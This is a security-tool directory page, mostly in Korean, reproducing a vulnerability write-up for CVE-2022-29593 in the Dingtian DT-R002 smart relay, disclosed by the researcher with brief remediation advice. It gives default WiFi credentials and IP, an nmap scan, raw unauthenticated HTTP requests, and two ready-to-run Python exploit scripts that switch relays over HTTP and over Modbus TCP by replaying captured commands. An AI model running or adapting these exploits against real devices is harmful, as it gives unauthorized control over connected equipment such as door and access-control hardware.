Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-29593 — Proof-of-concept exploit for authentication bypass via capture-replay in Dingtian DT-R002 relay, allowing unauthorized control of relays through HTTP and Modbus TCP. | Kitploit
도구/GitHubGitHub/9lyph/cve-2022-29593
Packet Sniffing & AnalysisReconnaissanceIoT SecurityVulnerability AnalysisExploitationSCADA/ICS SecurityWeb Application ExploitationFuzzingPenetration TestingHardware & IoT SecurityAuthentication
8371년 전아직 검토되지 않음
GitHub
9lyph/cve-2022-29593

CVE-2022-29593

Proof-of-concept exploit for authentication bypass via capture-replay in Dingtian DT-R002 relay, allowing unauthorized control of relays through HTTP and Modbus TCP.

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-29593 - 캡처 재생을 통한 인증 우회 (Dingtian-DT-R002)

Title

dingtian

캡처 재생을 통한 인증 우회 게시됨: 버전: 1.0 공급업체: Shenzhen Dingtian Technologies Co.,Ltd 제품: 2채널 릴레이 보드/릴레이 카드 영향받는 버전: 펌웨어 V3.1.276A

제품 - Dingtian DTR004

Ali Express 링크

제품 설명

  • 2채널 릴레이 보드/릴레이 카드
  • WiFi/RS485/이더넷 지원

기술 사양

root@kitploit:~
Overview

Support multiple channel relay, On/Off/Delay/Jog
Support multiple interface RJ45/RS485/CAN/WIFI
Local Button control
PC app config and control
WEB config and control
8KB FIFO command buffer
Support password.
WIFI smart config support
Button control
MQTT/Modbus/CoAP

Technical parameters

Interface RJ45/ RS485/CAN/WIFI
Baudrate 100M/115200bps/125kbps/150Mbps
Protocol TCP server/client,UDP server/client,RS485,CAN,WIFI
Operating temperature -10~+75°C
Storage temperature -40~+125°C
Relative humidity 5~95% RH, no condensation
Power supply 9-40V Non-polar
Current 1A@12V DC
Power consumption <5W

Relay parameters

Relay Power AC 250V/10A,DC 30V/10A
Delay 1~65535 seconds
Jog Pull in 0.5 seconds, automatically release

Power supply Non-polar

DC 9~40V Non-polar

참고 자료

  • MITRE

  • Exploit-db

제조사

  • 2019년에 설립된 Dingtian은 IoT 및 출입 통제 시스템 스마트 장치의 제조업체입니다. 효율적이고 안정적인 제품과 빠른 배송이 당사의 행동 강령입니다.

연구

  • 전원 공급 (12VDC @ 1A 최대)

>

  • 네트워크 스캔
  • 기본 WiFi (SSID): dtrelay7685 (일련번호는 마지막 4자리)
    • 일련번호는 어디서 찾을 수 있나요?
  • 기본 PSK (PSK): dtpassword
  • 기본 IP: 192.168.7.1
root@kitploit:~
nmap -p- --open -Pn 192.168.7.1
PORT    STATE SERVICE
53/tcp  open  domain
80/tcp  open  http 
502/tcp open  mbap 

HTTP 접근

  • HTTP 접근을 통해 기본 SSID에 연결된 상태에서 장치를 제어할 수 있습니다.

>

발견

캡처 재생을 통한 인증 우회

  • Dingtian (Dingtian DT-R002) 2CH 릴레이, 펌웨어 V3.1.276A를 실행 중인 장치는 공격자가 동일하거나 유사한 데이터를 재생할 수 있게 합니다. 이를 통해 공격자는 인증 없이 릴레이에 연결된 장치를 제어할 수 있습니다.
  • 장치의 릴레이가 인증되지 않은 HTTP 요청을 통해 제어(켜기/끄기)될 수 있음이 발견되었습니다.

릴레이 켜기/끄기에 사용된 HTTP 요청 및 응답을 보여주는 증거

root@kitploit:~
켜기

Request
GET /relay_cgi.cgi?type=0&relay=0&on=1&time=0&pwd=0& HTTP/1.1
Host: 192.168.7.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://192.168.7.1/relay_cgi.html
Cookie: session=4463009

Response
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 11

&0&0&0&1&0&

끄기

Request
GET /relay_cgi.cgi?type=0&relay=0&on=0&time=0&pwd=0& HTTP/1.1
Host: 192.168.7.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://192.168.7.1/relay_cgi.html
Cookie: session=4463009

Response
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 11

&0&0&0&0&0&

취약점 약점

  • CWE-294 - 캡처 재생을 통한 인증 우회

알려진 영향받는 소프트웨어 구성

  • V3.1.276A (펌웨어)

PoC 코드

root@kitploit:~
#!/usr/local/bin/python3
# Author: Victor Hanna (Exploit Security)
# DingTian DT-R002 2CH Smart Relay
# CWE-294 - Authentication Bypass by Capture-replay

import requests
import re
import urllib.parse
from colorama import init
from colorama import Fore, Back, Style
import sys
import os
import time

from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def banner():
    print ("[+]********************************************************************************[+]")
    print ("|   Author : Victor Hanna (9lyph)["+Fore.RED + "Exploit Security" +Style.RESET_ALL+"]\t\t\t\t\t    |")
    print ("|   Description: DingTian DT-R002 2CH Smart Relay                                      |")
    print ("|   Usage : "+sys.argv[0]+" <host> <relay#>                                           |")   
    print ("[+]********************************************************************************[+]")

def main():
    os.system('clear')
    banner()
    urlRelay1On  = "http://"+host+"/relay_cgi.cgi?type=0&relay=0&on=1&time=0&pwd=0&"
    urlRelay1Off = "http://"+host+"/relay_cgi.cgi?type=0&relay=0&on=0&time=0&pwd=0&"
    urlRelay2On  = "http://"+host+"/relay_cgi.cgi?type=0&relay=1&on=1&time=0&pwd=0&"
    urlRelay2Off = "http://"+host+"/relay_cgi.cgi?type=0&relay=1&on=0&time=0&pwd=0&"

    headers = {
        "Host": ""+host+"",
        "User-Agent": "9lyph/3.0",
        "Accept": "*/*",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate",
        "DNT": "1",
        "Connection": "close",
        "Referer": "http://"+host+"/relay_cgi.html",
        "Cookie": "session=4463009"
    }

    print (Fore.YELLOW + f"[+] Exploiting" + Style.RESET_ALL, flush=True, end=" ")
    for i in range(5):
        time.sleep (1)
        print (Fore.YELLOW + "." + Style.RESET_ALL, flush=True, end="")
    try:
        if (relay == "1"):
            print (Fore.GREEN + "\n[+] Relay 1 switched on !" + Style.RESET_ALL)
            r = requests.get(urlRelay1On)
            time.sleep (5)
            print (Fore.GREEN + "[+] Relay 1 switched off !" + Style.RESET_ALL)
            r = requests.get(urlRelay1Off)
            print (Fore.YELLOW + "PWNED !!!" + Style.RESET_ALL, flush=True, end="")
        elif (relay == "2"):
            print (Fore.GREEN + "[+] Relay 2 switched on !" + Style.RESET_ALL)
            r = requests.get(urlRelay2On)
            time.sleep (5)
            print (Fore.GREEN + "[+] Relay 2 switched on !" + Style.RESET_ALL)
            r = requests.get(urlRelay2Off)
            print (Fore.YELLOW + "PWNED !!!" + Style.RESET_ALL, flush=True, end="")
        else:
            print (Fore.RED + "[!] No such relay" + Style.RESET_ALL)
    except KeyboardInterrupt:
        sys.exit(1)
    except requests.exceptions.Timeout:
        print ("[!] Connection to host timed out !")
        sys.exit(1)
    except requests.exceptions.Timeout:
        print ("[!] Connection to host timed out !")
        sys.exit(1)
    except Exception as e:
        print (Fore.RED + f"[+] You came up short I\'m afraid !" + Style.RESET_ALL)

if __name__ == "__main__":
    if len(sys.argv)>2:    
        host = sys.argv[1]
        relay = sys.argv[2]
        main ()
    else:
        print (Fore.RED + f"[+] Not enough arguments, please specify target and relay!" + Style.RESET_ALL)

ModbusTCP를 통한 제어

  • Modbus 프로토콜을 사용하여 릴레이를 켜고 끄는 것도 가능했습니다. TCP 502에서 실행되는 Modbus 프로토콜은 다소 안전하지 않으며 인증 없이 레지스터 읽기 및 쓰기를 허용합니다.

릴레이를 켜고 끄기 위해 16진수를 사용하여 여러 레지스터에 쓰는 증거

PoC 코드

root@kitploit:~
import socket
import sys
import os
import time
from colorama import init
from colorama import Fore, Back, Style
import sys
import os
import time

'''
4.3.2 0x06:Write Single Register
4 Relay All ON
Send:
0000 0000 0006 FF 06 0002 0f0f
Recv:
0000 0000 0006 FF 06 0002 0f0f
4 Relay All OFF
Send:
0000 0000 0006 FF 06 0002 0f00
Recv:
01 06 0002 0f00 2DFA

0000                     0000                 0006            FF               06                      00020f0f
<2 byte Transaction ID> |<2 byte Protocol ID>|<2 byte length>|<1 byte Unit ID>|<1 bytes function code>|<Data for response or commands>

Transaction ID: This is used for synchronisation between Server and Client
Protocol ID: 0 for ModBusTCP
Length Field: Number of remaining bytes in the frame
Unit Identifier: Server Address (255 or FF if not used)
Function Code: Function code as in other variants
Data Bytes: Data for response of commands
    - Function code 06 (Write Singlt Register) [Request]
        - Address of holding register to preset/write (2bytes)
        - New Value of the holding register (2bytes)
'''

def banner():
    print ("[+]********************************************************************************[+]")
    print ("|   Author : Victor Hanna (9lyph)["+Fore.RED + "Exploit Security" +Style.RESET_ALL+"]\t\t\t\t\t    |")
    print ("|   Description: DingTian DT-R002 2CH Smart Relay                                   |")
    print ("|   Usage : "+sys.argv[0]+" <host>                                                     |")
    print ("[+]********************************************************************************[+]")

def main():
    os.system('clear')
    banner()

    s = socket.socket()
    try:
        s.connect((host, 502))
        print (Fore.GREEN + "[+] " + Fore.WHITE + "T" + Fore.GREEN + "u" + Fore.WHITE + "r" + Fore.GREEN + "n" + Fore.WHITE + "i" + Fore.GREEN + "n" + Fore.WHITE + "g" + Fore.GREEN + "R" + Fore.WHITE + "e" + Fore.GREEN + "l" + Fore.WHITE + "a" + Fore.GREEN + "y" + Fore.WHITE + " O" + Fore.GREEN + "n" + Style.RESET_ALL)
        on = ("000000000006FF0600020f0f")
        off = ("000000000006FF0600020f00")
        # read =  ("000000000006FF0400020001")
        s.sendall((bytes.fromhex(on)))
        time.sleep(10)
        print (Fore.RED + "[+]" + Fore.WHITE + "T" + Fore.RED + "u" + Fore.WHITE + "r" + Fore.RED + "n" + Fore.WHITE + "i" + Fore.RED + "n" + Fore.WHITE + "g" + Fore.RED + " R" + Fore.WHITE + "e" + Fore.RED +"l" +Fore.WHITE + "a" +Fore.RED + "y" + Fore.WHITE + " O" + Fore.RED + "f" +Fore.WHITE + "f")
        s.sendall((bytes.fromhex(off)))
        data = s.recv(1024)
        print (Fore.BLUE + "[+]" + Fore.WHITE + "P" + "w" + Fore.BLUE + "n" + Fore.WHITE + "e" + Fore.BLUE + "d" + Fore.WHITE + "!" + Fore.BLUE + "!" + Style.RESET_ALL)
    except socket.timeout:
        print (f"[!] Cannot connect to target: {host} !!")
    except Exception as e:
        print(e)

if __name__ == "__main__":
    if len(sys.argv)>1:
        host = sys.argv[1]
        main ()
    else:
        print (Fore.RED + f"[+] Not enough arguments, please specify target !" + Style.RESET_ALL)

캡처된 TCPDUMP 분석 후 관련 16진수 코드를 보여주는 Modbus 클라이언트 요청 구조 증거

  • Modbus 릴레이 켜기

>

  • Modbus 릴레이 끄기

>

  • 네트워크를 통해 이러한 Modbus 클라이언트 트랜잭션을 캡처함으로써 이를 재생하여 릴레이와 그에 연결된 장치를 제어할 수 있습니다.

분해

  • ESP32 MCU - https://fccid.io/2AC7Z-ESP32

  • 데이터시트

>

해킹됨

수정 단계

  • HTTPS 구현
  • 각 요청/트랜잭션에 대한 인증 토큰 구현

제어

발견자/크레딧:

Exploit Security의 Victor Hanna

팔로우하기

Mastodon Linkedin Youtube

도구 다운로드